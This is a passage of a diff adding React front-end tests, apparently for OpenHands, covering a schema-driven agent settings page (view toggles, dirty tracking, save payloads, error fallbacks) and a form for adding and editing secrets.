+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {
+          "llm.model": "openhands/claude-opus-4-5-20251101",
+        },
+      }),
+    );
+
+    const queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+      },
+    });
+
+    function Wrapper() {
+      const [externalValue, setExternalValue] = React.useState("");
+
+      return (
+        <SdkSectionPage
+          settingsSources={[
+            { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+          ]}
+          header={() => (
+            <input
+              data-testid="external-state-input"
+              value={externalValue}
+              onChange={(event) => setExternalValue(event.target.value)}
+            />
+          )}
+        />
+      );
+    }
+
+    render(<Wrapper />, {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          {children}
+        </QueryClientProvider>
+      ),
+    });
+
+    await screen.findByTestId("sdk-section-advanced-toggle");
+    await userEvent.click(screen.getByTestId("sdk-section-advanced-toggle"));
+    await screen.findByTestId("sdk-settings-llm.base_url");
+
+    await userEvent.type(screen.getByTestId("external-state-input"), "a");
+
+    await waitFor(() => {
+      expect(
+        screen.getByTestId("sdk-settings-llm.base_url"),
+      ).toBeInTheDocument();
+    });
+  });
+
+  it("keeps embedded editor tab and edits across settings refetch", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.model",
+              label: "Model",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "openhands/claude-opus-4-5-20251101",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "llm.base_url",
+              label: "Base URL",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: null,
+              choices: [],
+              depends_on: [],
+              prominence: "major",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    const getSettingsSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockResolvedValue(
+        buildSettings({
+          agent_settings_schema: schema,
+          agent_settings: {
+            "llm.model": "openhands/claude-opus-4-5-20251101",
+          },
+        }),
+      );
+
+    const queryClient = new QueryClient({
+      defaultOptions: {
+        queries: { retry: false },
+      },
+    });
+
+    let latestControl: SdkSectionSaveControl | null = null;
+
+    mockUseConfig.mockReturnValue({
+      data: {},
+      isLoading: false,
+    });
+    mockUseSearchParams.mockReturnValue([{ get: () => null }, vi.fn()]);
+
+    render(
+      <QueryClientProvider client={queryClient}>
+        <SdkSectionPage
+          settingsSources={[
+            { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+          ]}
+          hideSaveButton
+          markInitialOverridesDirty={false}
+          initialValueOverrides={{
+            "llm.model": "",
+            "llm.base_url": "",
+          }}
+          onSaveControlChange={(control) => {
+            latestControl = control;
+          }}
+        />
+      </QueryClientProvider>,
+    );
+
+    await screen.findByTestId("sdk-section-advanced-toggle");
+    await userEvent.click(screen.getByTestId("sdk-section-advanced-toggle"));
+    const baseUrlInput = await screen.findByTestId("sdk-settings-llm.base_url");
+    await userEvent.clear(baseUrlInput);
+    await userEvent.type(baseUrlInput, "http://127.0.0.1:9999");
+
+    getSettingsSpy.mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {
+          "llm.model": "openhands/claude-opus-4-5-20251101",
+          "llm.base_url": null,
+        },
+      }),
+    );
+    await queryClient.invalidateQueries({ queryKey: ["settings"] });
+
+    await waitFor(() => {
+      expect(screen.getByTestId("sdk-settings-llm.base_url")).toHaveValue(
+        "http://127.0.0.1:9999",
+      );
+      expect(latestControl?.view).toBe("advanced");
+      expect(latestControl?.isDirty).toBe(true);
+    });
+  });
+
+  it("resets from advanced to the inferred basic view after saving when advanced settings match defaults", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.endpoint",
+              label: "Endpoint",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "https://api.example.com",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "llm.api_version",
+              label: "API Version",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: null,
+              choices: [],
+              depends_on: [],
+              prominence: "major",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    let persistedSettings = buildSettings({
+      agent_settings_schema: schema,
+      agent_settings: {
+        llm: {
+          endpoint: "https://api.example.com",
+        },
+      },
+    });
+
+    const getSettingsSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockImplementation(async () => structuredClone(persistedSettings));
+    vi.spyOn(SettingsService, "saveSettings").mockImplementation(
+      async (payload) => {
+        const agentSettings = payload.agent_settings_diff as Record<
+          string,
+          unknown
+        >;
+        const llmSettings = (agentSettings.llm ?? {}) as Record<
+          string,
+          unknown
+        >;
+
+        persistedSettings = buildSettings({
+          agent_settings_schema: schema,
+          agent_settings: {
+            llm: {
+              endpoint:
+                typeof llmSettings.endpoint === "string"
+                  ? llmSettings.endpoint
+                  : "https://api.example.com",
+            },
+          },
+        });
+
+        return true;
+      },
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    await screen.findByTestId("sdk-section-advanced-toggle");
+    await userEvent.click(screen.getByTestId("sdk-section-advanced-toggle"));
+    await screen.findByTestId("sdk-settings-llm.api_version");
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://api.changed.example.com");
+    await userEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(getSettingsSpy).toHaveBeenCalledTimes(2);
+    });
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("sdk-settings-llm.api_version"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("resets from all to the inferred basic view after saving when detailed settings match defaults", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "llm",
+          label: "LLM",
+          fields: [
+            {
+              key: "llm.endpoint",
+              label: "Endpoint",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "string",
+              default: "https://api.example.com",
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "llm.timeout",
+              label: "Timeout",
+              section: "llm",
+              section_label: "LLM",
+              value_type: "integer",
+              default: 30,
+              choices: [],
+              depends_on: [],
+              prominence: "minor",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    let persistedSettings = buildSettings({
+      agent_settings_schema: schema,
+      agent_settings: {
+        llm: {
+          endpoint: "https://api.example.com",
+        },
+      },
+    });
+
+    const getSettingsSpy = vi
+      .spyOn(SettingsService, "getSettings")
+      .mockImplementation(async () => structuredClone(persistedSettings));
+    vi.spyOn(SettingsService, "saveSettings").mockImplementation(
+      async (payload) => {
+        const agentSettings = payload.agent_settings_diff as Record<
+          string,
+          unknown
+        >;
+        const llmSettings = (agentSettings.llm ?? {}) as Record<
+          string,
+          unknown
+        >;
+
+        persistedSettings = buildSettings({
+          agent_settings_schema: schema,
+          agent_settings: {
+            llm: {
+              endpoint:
+                typeof llmSettings.endpoint === "string"
+                  ? llmSettings.endpoint
+                  : "https://api.example.com",
+            },
+          },
+        });
+
+        return true;
+      },
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    await screen.findByTestId("sdk-section-all-toggle");
+    await userEvent.click(screen.getByTestId("sdk-section-all-toggle"));
+    await screen.findByTestId("sdk-settings-llm.timeout");
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://api.changed.example.com");
+    await userEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(getSettingsSpy).toHaveBeenCalledTimes(2);
+    });
+
+    await waitFor(() => {
+      expect(
+        screen.queryByTestId("sdk-settings-llm.timeout"),
+      ).not.toBeInTheDocument();
+    });
+  });
+
+  it("shows the advanced toggle when it is forced for a critical-only schema", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      forceShowAdvancedView: true,
+    });
+
+    await screen.findByTestId("sdk-section-basic-toggle");
+    expect(
+      screen.getByTestId("sdk-section-advanced-toggle"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("sdk-section-all-toggle"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the all toggle instead of an empty advanced tier for minor-only schemas", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "condenser",
+          label: "Condenser",
+          fields: [
+            {
+              key: "condenser.enabled",
+              label: "Enable memory condensation",
+              section: "condenser",
+              section_label: "Condenser",
+              value_type: "boolean",
+              default: true,
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "condenser.max_size",
+              label: "Max size",
+              section: "condenser",
+              section_label: "Condenser",
+              value_type: "integer",
+              default: 240,
+              choices: [],
+              depends_on: ["condenser.enabled"],
+              prominence: "minor",
+              secret: false,
+              required: true,
+            },
+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {
+          "condenser.enabled": true,
+          "condenser.max_size": 240,
+        },
+      }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["condenser"] },
+      ],
+    });
+
+    await screen.findByTestId("sdk-section-basic-toggle");
+    expect(
+      screen.queryByTestId("sdk-section-advanced-toggle"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("sdk-section-all-toggle")).toBeInTheDocument();
+  });
+
+  it("floors a critical-less schema at advanced under StrictMode", async () => {
+    // StrictMode double-invokes state updaters, so the hydration updater must
+    // stay pure: an impure one takes its already-hydrated branch on the second
+    // (kept) call and pins the page to the empty basic tier (#16097).
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "agent_context",
+          label: "Agent Context",
+          fields: [
+            {
+              key: "agent_context.load_memory",
+              label: "Persistent memory",
+              section: "agent_context",
+              section_label: "Agent Context",
+              value_type: "boolean",
+              default: false,
+              choices: [],
+              depends_on: [],
+              prominence: "major",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: { "agent_context.load_memory": false },
+      }),
+    );
+
+    renderSdkSectionPage(
+      {
+        settingsSources: [
+          { settingsSource: "agent_settings", sectionKeys: ["agent_context"] },
+        ],
+      },
+      { strict: true },
+    );
+
+    expect(
+      await screen.findByTestId("sdk-settings-agent_context.load_memory"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders URL-like schema fields as url inputs", async () => {
+    const schema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "verification",
+          label: "Verification",
+          fields: [
+            {
+              key: "verification.critic_enabled",
+              label: "Enable critic",
+              section: "verification",
+              section_label: "Verification",
+              value_type: "boolean",
+              default: true,
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: true,
+            },
+            {
+              key: "verification.critic_server_url",
+              label: "Critic server URL",
+              section: "verification",
+              section_label: "Verification",
+              value_type: "string",
+              default: null,
+              choices: [],
+              depends_on: ["verification.critic_enabled"],
+              prominence: "minor",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: schema,
+        agent_settings: {
+          verification: {
+            critic_enabled: true,
+            critic_server_url: "https://critic.example.com",
+          },
+        },
+      }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["verification"] },
+      ],
+      getInitialView: () => "all",
+    });
+
+    expect(
+      await screen.findByTestId("sdk-settings-verification.critic_server_url"),
+    ).toHaveAttribute("type", "url");
+  });
+
+  it("shows a success toast after saving settings", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+    vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true);
+    const displaySuccessToastSpy = vi.spyOn(
+      ToastHandlers,
+      "displaySuccessToast",
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://api.changed.example.com");
+    await userEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(displaySuccessToastSpy).toHaveBeenCalled();
+    });
+  });
+
+  it("saves dirty fields from multiple settings sources into separate diffs", async () => {
+    const agentSchema: NonNullable<Settings["agent_settings_schema"]> = {
+      model_name: "AgentSettings",
+      sections: [
+        {
+          key: "verification",
+          label: "Verification",
+          fields: [
+            {
+              key: "verification.critic_enabled",
+              label: "Enable critic",
+              section: "verification",
+              section_label: "Verification",
+              value_type: "boolean",
+              default: false,
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+    const conversationSchema: NonNullable<
+      Settings["conversation_settings_schema"]
+    > = {
+      model_name: "ConversationSettings",
+      sections: [
+        {
+          key: "verification",
+          label: "Verification",
+          fields: [
+            {
+              key: "confirmation_mode",
+              label: "Confirmation mode",
+              section: "verification",
+              section_label: "Verification",
+              value_type: "boolean",
+              default: false,
+              choices: [],
+              depends_on: [],
+              prominence: "critical",
+              secret: false,
+              required: false,
+            },
+          ],
+        },
+      ],
+    };
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings_schema: agentSchema,
+        conversation_settings_schema: conversationSchema,
+        agent_settings: {
+          verification: {
+            critic_enabled: false,
+          },
+        },
+        conversation_settings: {
+          confirmation_mode: false,
+        },
+      }),
+    );
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSdkSectionPage({
+      settingsSources: [
+        {
+          settingsSource: "conversation_settings",
+          sectionKeys: ["verification"],
+        },
+        {
+          settingsSource: "agent_settings",
+          sectionKeys: ["verification"],
+        },
+      ],
+    });
+
+    const confirmationInput = await screen.findByTestId(
+      "sdk-settings-confirmation_mode",
+    );
+    const criticInput = await screen.findByTestId(
+      "sdk-settings-verification.critic_enabled",
+    );
+    await userEvent.click(confirmationInput.closest("label")!);
+    await userEvent.click(criticInput.closest("label")!);
+    await userEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith({
+        conversation_settings_diff: {
+          confirmation_mode: true,
+        },
+        agent_settings_diff: {
+          verification: {
+            critic_enabled: true,
+          },
+        },
+      });
+    });
+  });
+
+  it("shows an error toast when saving settings fails", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+    vi.spyOn(SettingsService, "saveSettings").mockRejectedValue(
+      new AxiosError("Request failed"),
+    );
+    const displayErrorToastSpy = vi.spyOn(ToastHandlers, "displayErrorToast");
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://api.changed.example.com");
+    await userEvent.click(screen.getByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(displayErrorToastSpy).toHaveBeenCalled();
+    });
+  });
+
+  it("renders the schema-unavailable fallback instead of crashing when the schema is malformed", async () => {
+    // Simulates the production failure mode we hit on Vercel previews:
+    // the frontend points at a host that does not serve
+    // `/api/settings/agent-schema`, so the schema query resolves with a
+    // truthy object that nevertheless has no `sections` array. The page
+    // must surface this as the existing "schema unavailable" message
+    // instead of throwing
+    // `Cannot read properties of undefined (reading 'filter')` and
+    // letting React Router escalate to a full-screen error.
+    const malformedSchema = {
+      model_name: "AgentSettings",
+      // `sections` deliberately omitted to mimic an SPA shell that
+      // happened to parse into a non-schema object.
+    } as unknown as NonNullable<Settings["agent_settings_schema"]>;
+
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({ agent_settings_schema: malformedSchema }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    expect(
+      await screen.findByText("SETTINGS$SDK_SCHEMA_UNAVAILABLE"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("sdk-section-settings-screen"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("allows saving custom payloads when only external state is dirty", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+    const saveSettingsSpy = vi
+      .spyOn(SettingsService, "saveSettings")
+      .mockResolvedValue(true);
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      extraDirty: true,
+      buildPayload: (payload) => ({
+        ...payload,
+        search_api_key: "external-search-key",
+      }),
+    });
+
+    await userEvent.click(await screen.findByTestId("save-button"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.objectContaining({ search_api_key: "external-search-key" }),
+      );
+    });
+  });
+
+  it("exposes the active view and a coerced, dirty-only payload on the save control", async () => {
+    // Arrange — a basic-tier schema with a single editable field.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+    let latestControl: SdkSectionSaveControl | null = null;
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      onSaveControlChange: (control) => {
+        latestControl = control;
+      },
+    });
+
+    // Act — change one field so it becomes dirty.
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://new.example.com");
+
+    // Assert — the control reports the basic view and returns only the dirty
+    // field, nested under its section. Consumers (e.g. the local profile
+    // editor) rely on both to drive a custom save.
+    await waitFor(() => {
+      expect(latestControl?.view).toBe("basic");
+      expect(latestControl?.getDirtyPayload()).toEqual({
+        llm: { endpoint: "https://new.example.com" },
+      });
+    });
+  });
+
+  it("disables Save after a boolean field is changed and then reverted", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        conversation_settings_schema: {
+          model_name: "ConversationSettings",
+          sections: [
+            {
+              key: "verification",
+              label: "Verification",
+              fields: [
+                {
+                  key: "confirmation_mode",
+                  label: "Confirmation mode",
+                  section: "verification",
+                  section_label: "Verification",
+                  value_type: "boolean",
+                  default: false,
+                  choices: [],
+                  depends_on: [],
+                  prominence: "critical",
+                  secret: false,
+                  required: false,
+                },
+              ],
+            },
+          ],
+        },
+        conversation_settings: {
+          confirmation_mode: false,
+        },
+      }),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        {
+          settingsSource: "conversation_settings",
+          sectionKeys: ["verification"],
+        },
+      ],
+    });
+
+    const confirmationInput = await screen.findByTestId(
+      "sdk-settings-confirmation_mode",
+    );
+    const saveButton = screen.getByTestId("save-button") as HTMLButtonElement;
+    expect(saveButton).toBeDisabled();
+
+    await userEvent.click(confirmationInput.closest("label")!);
+    expect(saveButton).not.toBeDisabled();
+
+    await userEvent.click(confirmationInput.closest("label")!);
+    expect(saveButton).toBeDisabled();
+  });
+
+  it("disables Save after a string field is edited back to the loaded value", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+    });
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    const saveButton = screen.getByTestId("save-button") as HTMLButtonElement;
+    expect(saveButton).toBeDisabled();
+
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://changed.example.com");
+    expect(saveButton).not.toBeDisabled();
+
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://api.example.com");
+    await waitFor(() => {
+      expect(saveButton).toBeDisabled();
+    });
+  });
+
+  it("does not force-dirty override fields when markInitialOverridesDirty is false", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSavableSettings(),
+    );
+
+    renderSdkSectionPage({
+      settingsSources: [
+        { settingsSource: "agent_settings", sectionKeys: ["llm"] },
+      ],
+      initialValueOverrides: {
+        "llm.endpoint": "https://seeded.example.com",
+      },
+      markInitialOverridesDirty: false,
+    });
+
+    const endpointInput = await screen.findByTestId(
+      "sdk-settings-llm.endpoint",
+    );
+    expect(endpointInput).toHaveValue("https://seeded.example.com");
+    expect(screen.getByTestId("save-button")).toBeDisabled();
+
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://changed.example.com");
+    expect(screen.getByTestId("save-button")).not.toBeDisabled();
+
+    await userEvent.clear(endpointInput);
+    await userEvent.type(endpointInput, "https://seeded.example.com");
+    await waitFor(() => {
+      expect(screen.getByTestId("save-button")).toBeDisabled();
+    });
+  });
+});
diff --git a/__tests__/components/features/settings/secrets-settings/secret-form-behavior.test.tsx b/__tests__/components/features/settings/secrets-settings/secret-form-behavior.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0c595125b814fed8f4ede6039b87ea20bc79d0e4
--- /dev/null
+++ b/__tests__/components/features/settings/secrets-settings/secret-form-behavior.test.tsx
@@ -0,0 +1,496 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { act, fireEvent, render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import type { CustomSecretWithoutValue } from "#/api/secrets-service.types";
+import { SecretForm } from "#/components/features/settings/secrets-settings/secret-form";
+import { I18nKey } from "#/i18n/declaration";
+
+const mocks = vi.hoisted(() => ({
+  secrets: undefined as CustomSecretWithoutValue[] | undefined,
+  create: vi.fn(),
+  update: vi.fn(),
+}));
+
+vi.mock("react-i18next", () => ({
+  useTranslation: (namespace: string) => ({
+    t: (key: string) =>
+      namespace === "openhands" ? key : `wrong-namespace:${key}`,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-get-secrets", () => ({
+  useSearchSecrets: () => ({ data: mocks.secrets }),
+}));
+
+vi.mock("#/hooks/mutation/use-create-secret", () => ({
+  useCreateSecret: () => ({ mutate: mocks.create }),
+}));
+
+vi.mock("#/hooks/mutation/use-update-secret", () => ({
+  useUpdateSecret: () => ({ mutate: mocks.update }),
+}));
+
+interface RenderFormOptions {
+  mode?: "add" | "edit";
+  selectedSecret?: string | null;
+  onCancel?: () => void;
+}
+
+function renderForm({
+  mode = "add",
+  selectedSecret = null,
+  onCancel = vi.fn(),
+}: RenderFormOptions = {}) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  const invalidate = vi.spyOn(queryClient, "invalidateQueries");
+  const view = render(
+    <QueryClientProvider client={queryClient}>
+      <SecretForm
+        mode={mode}
+        selectedSecret={selectedSecret}
+        onCancel={onCancel}
+      />
+    </QueryClientProvider>,
+  );
+  return { ...view, invalidate, onCancel };
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  mocks.secrets = undefined;
+});
+
+describe("Secret form behavior", () => {
+  it("renders the add form constraints and cancels without saving", async () => {
+    const user = userEvent.setup();
+    const { onCancel } = renderForm();
+
+    expect(screen.getByTestId("add-secret-form")).toBeInTheDocument();
+    expect(screen.getByTestId("name-input")).toHaveAttribute(
+      "pattern",
+      "^[a-zA-Z][a-zA-Z0-9_]{0,63}$",
+    );
+    expect(screen.getByTestId("name-input")).toBeRequired();
+    expect(screen.getByTestId("value-input")).toBeRequired();
+    expect(screen.getByTestId("value-input")).toHaveClass(
+      "resize-none",
+      "placeholder:italic",
+      "disabled:bg-[var(--oh-surface-raised)]",
+      "disabled:border-[var(--oh-border-subtle)]",
+      "disabled:cursor-not-allowed",
+    );
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+    expect(screen.getByTestId("description-input")).toHaveClass(
+      "disabled:bg-[var(--oh-surface-raised)]",
+      "disabled:border-[var(--oh-border-subtle)]",
+    );
+    expect(screen.getByTestId("submit-button")).toHaveTextContent(
+      I18nKey.SECRETS$ADD_SECRET,
+    );
+    expect(screen.getByTestId("submit-button")).not.toHaveTextContent(
+      I18nKey.SECRETS$EDIT_SECRET,
+    );
+
+    await user.type(screen.getByTestId("name-input"), "CANCELLED_SECRET");
+    await user.type(screen.getByTestId("value-input"), "unused-value");
+
+    await user.click(screen.getByTestId("cancel-button"));
+    expect(onCancel).toHaveBeenCalledOnce();
+    expect(mocks.create).not.toHaveBeenCalled();
+  });
+
+  it("renders an edit form with the selected secret and trimmed description", () => {
+    mocks.secrets = [
+      { name: "EDIT_ME", description: "  production credential  " },
+    ];
+    renderForm({ mode: "edit", selectedSecret: "EDIT_ME" });
+
+    expect(screen.getByTestId("edit-secret-form")).toBeInTheDocument();
+    expect(screen.getByTestId("name-input")).toHaveValue("EDIT_ME");
+    // Edit mode now exposes an optional value field that starts blank; leaving
+    // it blank keeps the existing secret value.
+    expect(screen.getByTestId("value-input")).toHaveValue("");
+    expect(screen.getByTestId("description-input")).toHaveValue(
+      "production credential",
+    );
+    expect(screen.getByTestId("submit-button")).toHaveTextContent(
+      I18nKey.SECRETS$EDIT_SECRET,
+    );
+    expect(screen.getByTestId("submit-button")).not.toHaveTextContent(
+      I18nKey.SECRETS$ADD_SECRET,
+    );
+  });
+
+  it("ignores a selected secret while rendering the add form", () => {
+    mocks.secrets = [
+      { name: "EDIT_ME", description: "must not prefill the add form" },
+    ];
+
+    renderForm({ mode: "add", selectedSecret: "EDIT_ME" });
+
+    expect(screen.getByTestId("name-input")).toHaveValue("");
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+  });
+
+  it("leaves the edit description blank when metadata is absent or unmatched", () => {
+    const first = renderForm({ mode: "edit", selectedSecret: "MISSING" });
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+    first.unmount();
+
+    mocks.secrets = [{ name: "MISSING" }];
+    const second = renderForm({ mode: "edit", selectedSecret: "MISSING" });
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+    second.unmount();
+
+    mocks.secrets = [{ name: "OTHER", description: "other description" }];
+    const third = renderForm({ mode: "edit", selectedSecret: "MISSING" });
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+    third.unmount();
+
+    renderForm({ mode: "edit", selectedSecret: null });
+    expect(screen.getByTestId("name-input")).toHaveValue("");
+    expect(screen.getByTestId("description-input")).toHaveValue("");
+  });
+
+  it("does nothing when a submitted form has no secret name", () => {
+    renderForm();
+
+    fireEvent.submit(screen.getByTestId("add-secret-form"));
+
+    expect(mocks.create).not.toHaveBeenCalled();
+    expect(mocks.update).not.toHaveBeenCalled();
+    expect(
+      screen.queryByText(I18nKey.SECRETS$SECRET_VALUE_REQUIRED),
+    ).not.toBeInTheDocument();
+  });
+
+  it("does nothing when the secret name control is absent", () => {
+    renderForm();
+    screen.getByTestId("name-input").remove();
+
+    const errors: unknown[] = [];
+    const captureError = (event: ErrorEvent) => {
+      event.preventDefault();
+      errors.push(event.error);
+    };
+    window.addEventListener("error", captureError);
+
+    try {
+      fireEvent.submit(screen.getByTestId("add-secret-form"));
+    } finally {
+      window.removeEventListener("error", captureError);
+    }
+
+    expect(errors).toHaveLength(0);
+    expect(mocks.create).not.toHaveBeenCalled();
+    expect(mocks.update).not.toHaveBeenCalled();
+  });
+
+  it("creates safely when its optional description control is missing", () => {
+    renderForm();
+    fireEvent.change(screen.getByTestId("name-input"), {
+      target: { value: "NO_DESCRIPTION_CONTROL" },
+    });
+    fireEvent.change(screen.getByTestId("value-input"), {
+      target: { value: "secret-value" },
+    });
+    screen.getByTestId("description-input").remove();
+
+    fireEvent.submit(screen.getByTestId("add-secret-form"));
+
+    expect(mocks.create).toHaveBeenCalledWith(
+      {
+        name: "NO_DESCRIPTION_CONTROL",
+        value: "secret-value",
+        description: undefined,
+      },
+      expect.any(Object),
+    );
+  });
+
+  it("rejects an add when the secret name is already used", async () => {
+    const user = userEvent.setup();
+    mocks.secrets = [
+      { name: "OTHER_SECRET", description: "existing" },
+      { name: "DUPLICATE", description: "existing" },
+    ];
+    renderForm();
+
+    await user.type(screen.getByTestId("name-input"), "DUPLICATE");
+    await user.type(screen.getByTestId("value-input"), "secret-value");
+    await user.click(screen.getByTestId("submit-button"));
+
